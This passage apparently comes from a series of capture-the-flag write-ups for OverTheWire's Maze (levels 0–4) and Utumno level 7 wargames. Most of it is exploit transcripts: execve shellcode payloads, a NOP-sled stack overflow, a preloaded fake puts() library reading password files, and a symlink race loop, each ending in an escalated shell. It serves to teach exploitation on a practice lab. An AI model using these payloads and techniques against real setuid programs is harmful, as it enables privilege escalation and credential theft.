 So now let's create a link to the shell and add current directory to PATH:

maze4@maze:/tmp/maz4$ PATH=.:$PATH
maze4@maze:/tmp/maz4$ ln -s /bin/sh AAAAAAAAAAAAAAAAA
maze4@maze:/tmp/maz4$  /maze/maze4 a
valid file, executing
$ id
uid=15004(maze4) gid=15004(maze4) euid=15005(maze5) groups=15004(maze4)
$ cat /etc/maze_pass/maze5
i********o
$

OverTheWire.org - Maze - Level 3 Writeup

We begin by running the maze3 executable in different ways:

  • with no command line parameters
  • with a command line parameter
  • with strace and a command line parameter

maze3@maze:~$ /maze/maze3
./level4 ev0lcmds!
maze3@maze:~$

maze3@maze:~$ /maze/maze3 A
maze3@maze:~$

maze3@maze:~$ strace /maze/maze3 A
execve("/maze/maze3", ["/maze/maze3", "A"], [/* 17 vars */]) = 0
strace: [ Process PID=4859 runs in 32 bit mode. ]
mprotect(0x8048000, 151, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
exit(1)                                 = ?

We see that the presence of a parameter is essential and when it's present, the program  executes an mprotect() call
Let's disassemble the maze3 with objdump:

maze3@maze:~$ objdump -d /maze/maze3

/maze/maze3:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:       58                      pop    %eax
 8048061:       48                      dec    %eax
 8048062:       75 32                   jne    8048096 <fine>
 8048064:       e8 14 00 00 00          call   804807d <_start+0x1d>
 8048069:       2e 2f                   cs das
 804806b:       6c                      insb   (%dx),%es:(%edi)
 804806c:       65 76 65                gs jbe 80480d4 <d1+0x9>
 804806f:       6c                      insb   (%dx),%es:(%edi)
 8048070:       34 20                   xor    $0x20,%al
 8048072:       65 76 30                gs jbe 80480a5 <fine+0xf>
 8048075:       6c                      insb   (%dx),%es:(%edi)
 8048076:       63 6d 64                arpl   %bp,0x64(%ebp)
 8048079:       73 21                   jae    804809c <fine+0x6>
 804807b:       0a 00                   or     (%eax),%al
 804807d:       b8 04 00 00 00          mov    $0x4,%eax
 8048082:       bb 01 00 00 00          mov    $0x1,%ebx
 8048087:       59                      pop    %ecx
 8048088:       ba 14 00 00 00          mov    $0x14,%edx
 804808d:       cd 80                   int    $0x80
 804808f:       b8 01 00 00 00          mov    $0x1,%eax
 8048094:       cd 80                   int    $0x80

08048096 <fine>:
 8048096:       58                      pop    %eax
 8048097:       b8 7d 00 00 00          mov    $0x7d,%eax
 804809c:       bb 60 80 04 08          mov    $0x8048060,%ebx
 80480a1:       81 e3 00 f0 ff ff       and    $0xfffff000,%ebx
 80480a7:       b9 97 00 00 00          mov    $0x97,%ecx
 80480ac:       ba 07 00 00 00          mov    $0x7,%edx
 80480b1:       cd 80                   int    $0x80
 80480b3:       8d 35 cb 80 04 08       lea    0x80480cb,%esi
 80480b9:       89 f7                   mov    %esi,%edi
 80480bb:       b9 2c 00 00 00          mov    $0x2c,%ecx
 80480c0:       ba 78 56 34 12          mov    $0x12345678,%edx

080480c5 <l1>:
 80480c5:       ad                      lods   %ds:(%esi),%eax
 80480c6:       31 d0                   xor    %edx,%eax
 80480c8:       ab                      stos   %eax,%es:(%edi)
 80480c9:       e2 fa                   loop   80480c5 <l1>

080480cb <d1>:
 80480cb:       20 d7                   and    %dl,%bh
 80480cd:       0c cc                   or     $0xcc,%al
 80480cf:       b8 61 27 67 61          mov    $0x61672761,%eax
 80480d4:       67 f4                   addr16 hlt
 80480d6:       42                      inc    %edx
 80480d7:       10 79 1b                adc    %bh,0x1b(%ecx)
 80480da:       61                      popa
 80480db:       10 3e                   adc    %bh,(%esi)
 80480dd:       1b 70 11                sbb    0x11(%eax),%esi
 80480e0:       38 bd f1 28 05 bd       cmp    %bh,-0x42fad70f(%ebp)
 80480e6:       f3 49                   repz dec %ecx
 80480e8:       84 84 19 b5 d6 8c 13    test   %al,0x138cd6b5(%ecx,%ebx,1)
 80480ef:       78 56                   js     8048147 <d1+0x7c>
 80480f1:       34 23                   xor    $0x23,%al
 80480f3:       a3                      .byte 0xa3
 80480f4:       15                      .byte 0x15
 80480f5:       f9                      stc
 80480f6:       92                      xchg   %eax,%edx

There are four parts:

  • Main code (start)
  • function fine() 
  • function l1()
  • function d1()

Please note that the code of the functions are all subsequents: if no jump changes execution flow, the function l1() is executed just after fine(), and d1() is executed just after l1().

Let's look into fine() procedure

  • calls mprotect(0x8048000, 151, PROT_READ|PROT_WRITE|PROT_EXEC):  this means that 151 bytes starting from 0x8048000 can be read, written and executed. A godd area we can use to store some arbitrary code to be executed
  • after that it stores in %edi and %esi  the address of  function d1 ()
  • it stores 0x2c (decimal 44) in ecx
  • it stores 0x12345678 (decimal 305419896) into edx
After that l1() is executed because it is just the following code.


But what does l1() do?
Well, it's a loop based on lods xor and stos instructions. 
For each loop execution:
  • stores into eax the content of memory at esi
  • xor eax with edx (containing a fixed value 0x12345678) and stores the result in eax
  • copy the value in eax into memory address edi
  • (automatically) lods and stos automatically increase esi and edi
  • (automatically) loop decrease ecx
The result is that the string at esi (i.e. d1() code location) is replaced by other code using an xor decoding function that rewrites 44 bytes.
This also means that l1() replaces code of d1() at runtime.

Let's verify this by placing a break at the last line of fine() and execute 176 steps.

Why 176 steps? Because every loop execution of l1() takes 4 steps that multiplied by the length of d1() code (44 bytes) makes 176 steps in total.

(gdb) disas 0x080480cb
Dump of assembler code for function d1:
=> 0x080480cb <+0>:     pop    %eax
   0x080480cc <+1>:     cmpl   $0x1337c0de,(%eax)
   0x080480d2 <+7>:     jne    0x80480ed <d1+34>
   0x080480d4 <+9>:     xor    %eax,%eax
   0x080480d6 <+11>:    push   %eax
   0x080480d7 <+12>:    push   $0x68732f2f
   0x080480dc <+17>:    push   $0x6e69622f
   0x080480e1 <+22>:    mov    %esp,%ebx
   0x080480e3 <+24>:    push   %eax
   0x080480e4 <+25>:    push   %ebx
   0x080480e5 <+26>:    mov    %esp,%ecx
   0x080480e7 <+28>:    xor    %edx,%edx
   0x080480e9 <+30>:    mov    $0xb,%al
   0x080480eb <+32>:    int    $0x80
   0x080480ed <+34>:    mov    $0x1,%eax
   0x080480f2 <+39>:    xor    %ebx,%ebx
   0x080480f4 <+41>:    inc    %ebx
   0x080480f5 <+42>:    int    $0x80
End of assembler dump.

And we see that d1() code is totally different and it seems a shellcode.
The lines 0x080480d7 push "/bin//sh" and the line 0x080480eb calls an execve()

Now let's dive into the new d1() code: The third line compares a static value of 0x1337c0de to the value at a memory address contained in  (%eax)

If they are different jumps to the end of d1() and execute an exit(1)
if not, it executes the interesting part of the shellcode (i.e. the execve())

Let's advance one step in execution and reach the cmpl instruction

(gdb)  stepi
0x080480cc in d1 ()
(gdb) info reg
eax            0xffffd8c0       -10048
ecx            0x0      0
edx            0x12345678       305419896
ebx            0x8048000        134512640
esp            0xffffd79c       0xffffd79c
ebp            0x0      0x0
esi            0x804817b        134513019
edi            0x804817b        134513019
eip            0x80480cc        0x80480cc <d1+1>
eflags         0x206    [ PF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb) x/wx 0xffffd8c0
0xffffd8c0:     0x434c0041

We show content of memory at %eax and it contains a 0x41 (ASCII "A").

This seems to be our command line parameter

Retry with "AAAA" parameter:

(gdb)  set args AAAA
(gdb)  r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze3 AAAA

Breakpoint 1, 0x080480c0 in fine ()
(gdb)  stepi 177
0x080480cb in d1 ()
(gdb) stepi
0x080480cc in d1 ()
(gdb) info reg
eax            0xffffd8bd       -10051
ecx            0x0      0
edx            0x12345678       305419896
ebx            0x8048000        134512640
esp            0xffffd79c       0xffffd79c
ebp            0x0      0x0
esi            0x804817b        134513019
edi            0x804817b        134513019
eip            0x80480cc        0x80480cc <d1+1>
eflags         0x206    [ PF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb) x/wx 0xffffd8bd
0xffffd8bd:     0x41414141

The code compares our parameter  with 0x1337c0de

So far it seems that:
  • the main function call mprotect to make part of the code section writable and executable
  • a decoding function is called to turn part of the code to a shellcode
  • the shellcode checks if the argv[1] is equal to a fixed value and execute the remaining part of the shellcode if the argv[1] satisfies the condition

So now we only have to use a specific value for the command line parameter to match 0x1337c0de.

Recalling that Intel is little endian:

maze3@maze:~$ /maze/maze3 $(python -c 'print "\xde\xc0\x37\x13"')
$ id
uid=15003(maze3) gid=15003(maze3) euid=15004(maze4) groups=15003(maze3)
$ cat /etc/maze_pass/maze4
d*******k
$

Very fun challenge!
It took a while even if it didn't require strange shellcodes or buffer overwrites..

OverTheWire.org - Maze - Level 2 Writeup

First step, we disassemble in gdb:

maze2@maze:~$ gdb /maze/maze2
...
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804841b <+0>:     push   %ebp
   0x0804841c <+1>:     mov    %esp,%ebp
   0x0804841e <+3>:     sub    $0xc,%esp
   0x08048421 <+6>:     lea    -0xc(%ebp),%eax
   0x08048424 <+9>:     mov    %eax,-0x4(%ebp)
   0x08048427 <+12>:    cmpl   $0x2,0x8(%ebp)
   0x0804842b <+16>:    je     0x8048434 <main+25>
   0x0804842d <+18>:    push   $0x1
   0x0804842f <+20>:    call   0x80482e0 <exit@plt>
   0x08048434 <+25>:    mov    0xc(%ebp),%eax
   0x08048437 <+28>:    add    $0x4,%eax
   0x0804843a <+31>:    mov    (%eax),%eax
   0x0804843c <+33>:    push   $0x8
   0x0804843e <+35>:    push   %eax
   0x0804843f <+36>:    lea    -0xc(%ebp),%eax
   0x08048442 <+39>:    push   %eax
   0x08048443 <+40>:    call   0x8048300 <strncpy@plt>
   0x08048448 <+45>:    add    $0xc,%esp
   0x0804844b <+48>:    mov    -0x4(%ebp),%eax
   0x0804844e <+51>:    call   *%eax
   0x08048450 <+53>:    mov    $0x0,%eax
   0x08048455 <+58>:    leave
   0x08048456 <+59>:    ret
End of assembler dump.

The application does the following things:

  • t compares argc and if != 2 then exits (one argument is needed)
  • it calls strncpy(target_buffer, argv[1],8) 
  • it then calls *%eax, when %eax contains the address where the target_buffer starts 
So the execution flow can be transferred to some address of our choice using  the command line parameter.

Let's try to put some NOP in the buffer and see what happens by stepping the istruction after the call *%eax

(gdb) set args $(python -c 'print "\x90\x90\x90\x90\x90\x90\x90\x90"')
(gdb) break *0x0804844e
(gdb) r
Starting program: /maze/maze2 $(python -c 'print "\x90\x90\x90\x90\x90\x90\x90\x90"')

Breakpoint 1, 0x0804844e in main (argc=2, argv=0xffffd784) at maze2.c:26
26      maze2.c: No such file or directory.
(gdb) stepi
0xffffd6dc in ?? ()
(gdb) x/wx 0xffffd6dc
0xffffd6dc:     0x90909090
(gdb) stepi
0xffffd6dd in ?? ()

The execution flow is move to the NOP in the 8 byte buffer.
But with only 8 bytes we don't have enough space to put a shellcode in it.

We can place the shellcode somewhere (EGG in ENV) and try to jump to it with a direct jump.

First, let's try to simulate a direct jump with the following istructions:

  • mov 0xffffd8aa,%eax  ; "\xb8\xaa\xd8\xff\xff"
  • jmp %eax                   ; "\xff\xe0"
Then use it as command line argument in gdb:

(gdb) set args $(python -c 'print "\xB8\xAA\xD8\xFF\xFF\xff\xe0"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze2 $(python -c 'print "\xB8\xAA\xD8\xFF\xFF\xff\xe0"')

Breakpoint 1, 0x0804844e in main (argc=2, argv=0xffffd784) at maze2.c:26
26      in maze2.c
(gdb) stepi
0xffffd6dc in ?? ()
(gdb)
0xffffd6e1 in ?? ()
(gdb)
0xffffd8aa in ?? ()

We can see that execution (EIP) was moved to memory address 0xffffd8aa

Now let's put an EGG in the ENV and try guessing an address on the stack (given previous levels, we can guesstimate address 0xffffde60

maze2@maze:~$ export EGG=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80"')

(gdb) set args $(python -c 'print "\xb8\x60\xde\xff\xff\xff\xe0"')
(gdb) r
Starting program: /maze/maze2 $(python -c 'print "\xb8\x60\xde\xff\xff\xff\xe0"')
process 19220 is executing new program: /bin/dash
$


It works in gdb!
Outside gdb:

maze2@maze:~$ /maze/maze2 $(python -c 'print "\xb8\x60\xde\xff\xff\xff\xe0"')
$ id
uid=15002(maze2) gid=15002(maze2) euid=15003(maze3) groups=15002(maze2)
$ cat /etc/maze_pass/maze3
b*******k
$

OverTheWire.org - Maze - Level 1 Writeup

Let's run the executable

maze1@maze:~$ /maze/maze1
/maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open shared object file: No such file or directory

It seems that the executable is linked to a missing library.

If we disasassemble the code we see that the executable does only one thing: it calls a puts() function.
It looks very similar to Utumno Level 2.
In that case the solution was to read memory address by redefining a puts() function and using a format string to show memory content.
 If we apply the same solution, it doesn't work because the password is not stored in memory.

So let's try to read the password file and print its content to standard output.
Redefine the puts() function with the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <dlfcn.h>

int puts(const char *s)
{
        char ch;
        FILE *fp;

        fp = fopen("/etc/maze_pass/maze2", "r"); // read mode

        printf("The %s pass file are:\n",s);

        while((ch = fgetc(fp)) != EOF)
                printf("%c", ch);

        fclose(fp);
        return 0;
}


Let's compile, link and run the maze1 executable:

maze1@maze:/tmp/maz1$ gcc -m32 -fPIC -c puts.c -o libc.o
maze1@maze:/tmp/maz1$ ld -shared -m elf_i386 -o libc.so.4 libc.o -ldl
maze1@maze:/tmp/maz1$ /maze/maze1
The Hello World!
 pass file are:
f*******r

OverTheWire.org - Maze - Level 0 Writeup

Let's run the executable in ltrace

maze0@maze:/tmp$ ltrace /maze/maze0
__libc_start_main(0x804854b, 1, 0xffffd794, 0x80485e0 <unfinished ...>
memset(0xffffd6d8, '\0', 20)                                                                     = 0xffffd6d8
access("/tmp/128ecf542a35ac5270a87dc7409"..., 4)                                                 = -1
+++ exited (status 0) +++

It access the file "/tmp/128ecf542a35ac5270a87dc740918404" and checks if it has read access.

Let's create such a file and execute the vulnerable code.

maze0@maze:/tmp$ echo "AAAA" > "/tmp/128ecf542a35ac5270a87dc740918404"

maze0@maze:/tmp$ ltrace /maze/maze0
__libc_start_main(0x804854b, 1, 0xffffd794, 0x80485e0 <unfinished ...>
memset(0xffffd6d8, '\0', 20)                                                                     = 0xffffd6d8
access("/tmp/128ecf542a35ac5270a87dc7409"..., 4)                                                 = 0
geteuid()                                                                                        = 15000
geteuid()                                                                                        = 15000
geteuid()                                                                                        = 15000
setresuid(0x3a98, 0x3a98, 0x3a98, 0)                                                             = 0
open("/tmp/128ecf542a35ac5270a87dc7409"..., 0, 00)                                               = 3
read(3, "AAAA\n", 19)                                                                            = 5
write(1, "AAAA\n", 19AAAA
)                                                                           = 19
+++ exited (status 0) +++

It opens the file and write the content to stdout.
We can remove the file and create a symbolic link with the same name that points to the password file /etc/maze_pass/maze1.
Unfortunately id doesn't work.

The reason is that maze1 program access() the file to find if it's readable.
Then changes the EUID to get higher privileges
After that tries to read the file.

 In other words: the privileges on the file are checked as maze0 (with his user rights), while effective read is done as maze1 user.
This is a problem because we can't get past the access() function. Or not?

I believe there is some space for a race condition.
What if we run two concurrent infinite loops in two separate terminal session?
One session runs maze1 program continuously.

The other session executes two operations: create the link to maze0 password file and just after change the same link to point to maze1 password file.
Sine it's a loop It keeps changing the target of the same soft link to different files.

With some luck, and if link creation is faster the maze1 execution, we should be able to create the link to maze0 password file just before maze1 check the rights with access().
And then the link is changed to maze1 pasword file just before maze1 executes the read() operation on the link.
If that happens maze1 executable will successfully read the maze1 password file.

 So in one terminal we run:
 while [ 1 ]; 
  do  
 ln -sf /etc/maze_pass/maze0 /tmp/128ecf542a35ac5270a87dc740918404
 ln -sf /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404
done;


In another terminal we run:

while [ 1 ]; 
  do  
 /maze/maze0
done;

It will show some error related to resource usage, but finally after some time we will see the password

-bash: fork: retry: Resource temporarily unavailable
...
-bash: fork: retry: Resource temporarily unavailable
h*******n
 -bash: fork: retry: Resource temporarily unavailable

OverTheWire.org - Utumno - Level 7 Writeup

Let's run the vulnerable code in different ways as in the previous levels:

utumno7@utumno:~$  /utumno/utumno7

utumno7@utumno:~$ /utumno/utumno7 a
lol ulrich && fuck hector

utumno7@utumno:~$ ltrace /utumno/utumno7 a
__libc_start_main(0x8048501, 2, 0xffffd794, 0x8048550 <unfinished ...>
puts("lol ulrich && fuck hector"lol ulrich && fuck hector
)                                                                = 26
_setjmp(0xffffd64c, 0, 0, 0x5d034448)                                                            = 0
strcpy(0xffffd5cc, "a")                                                                          = 0xffffd5cc
longjmp(0xffffd64c, 23, 0xffffd6ec, 0x80484f7 <no return ...>
+++ exited (status 0) +++

It does something and specifically a call to strcpy() using the command line parameter.

Let's try with a longer input: a strange behavior happens when using buffer longer than 140 bytes.

(gdb) set args $(python -c 'print "A"*140')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno7 $(python -c 'print "A"*140')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x00000019 in ?? ()

Uhmm... execution flow was changed to 0x19
That's a strange value for a memory address: likely it's a value stored somewhere in memory.  Maybe on the stack?

Let's inspect ESP value and the memory area around its value:

(gdb) info reg esp
esp            0xffffd608       0xffffd608
(gdb) x/wx 0xffffd600
0xffffd600:     0xf7fc3960
(gdb)
0xffffd604:     0x00000019
(gdb)
0xffffd608:     0xf7fc5000


The execution flow was changed to the address contained at memory location %esp - 4

Using a 144 bytes parameter is much more interesting:

(gdb) set args $(python -c 'print "A"*144')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "A"*144')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x080484d5 in vuln (arg=<error reading variable: Cannot access memory at address 0x41414149>) at utumno7.c:23
23      in utumno7.c
(gdb) info reg
eax            0x17     23
...
ebp            0x41414141       0x41414141

The code at line 0x080484d5 wasn't able to access memory 0x41414149

Let's keep this 144 bytes buffer but made of 140 A's and a valid address on the stack.
And then explore that memory area.

First time with 0xffffde60:

(gdb) set args $(python -c 'print "A"*140 +"\x60\xde\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "A"*140 +"\x60\xde\xff\xff"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x333b3030 in ?? ()
(gdb) x/wx 0xffffde60
0xffffde60:     0x3d737570
(gdb)
0xffffde64:     0x333b3030

Again with 0xffffde80

(gdb) set args $(python -c 'print "A"*140 +"\x80\xde\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "A"*140 +"\x80\xde\xff\xff"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x5f485353 in ?? ()
(gdb) x/wx 0xffffde80
0xffffde80:     0x003a3633
(gdb)
0xffffde84:     0x5f485353

What happened?
The execution flow was changed to the value contained at the memory location just after the addres specified at the end of the buffer.
For example: we put 0xffffde80 at the end of the input buffer.
The execution was changed to 0x5f485353, which is the value contained at address 0xffffde84

 We can use this behavior to change the execution flow to a controlled location.

If we search a bit we find that our buffer starts at 0xffffd824


0xffffd820:     0x00376f6e      0x41414141      0x41414141      0x41414141
0xffffd830:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd840:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd850:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd860:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd870:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd880:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd890:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8a0:     0x41414141      0x41414141      0x41414141      0x41414141

So we can prepare the command line parameter as:
  • Filling: "AAAA" 
  • Return address: "BBBB" 
  • NOP Sled: 144 - filling-size (4) - (4) - (4) = 144 - 4 - 4 -4 = 132 
  • return address location: "0xfffd824"
(gdb) set args $(python -c 'print "AAAABBBB"+ "\x90"*132 + "\x24\xd8\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "AAAABBBB"+ "\x90"*132 + "\x24\xd8\xff\xff"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()


And we changed the execution flow to BBBB (0x42424242)
Now insert a shellcode and shorten the NOP sled accordingly:
   
(gdb) set args $(python -c 'print "AAAA" + "BBBB" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "AAAA" + "BBBB" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()


Now let's insert the return address somewhere inside the NOP, let's say 0xffffd844.
 
(gdb) set args $(python -c 'print "AAAA" + "\x44\xd8\xff\xff" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "AAAA" + "\x44\xd8\xff\xff" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"')
lol ulrich && fuck hector
process 7617 is executing new program: /bin/dash
$


We exploited it in gdb! Now we have to adjust the buffer location to exploit it outside gdb. 

As in the previous levels, we can try to add something between 10 and 20 to the buffer memory location.

After a few tries  we can find that working address is 0xffffd836:

 
/utumno/utumno7 $(python -c 'print "AAAA" + "\x44\xd8\xff\xff" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x36\xd8\xff\xff"')
lol ulrich && fuck hector
$ id
uid=16007(utumno7) gid=16007(utumno7) euid=16008(utumno8) groups=16007(utumno7)
$ cat /etc/utumno_pass/utumno8
j*******v
$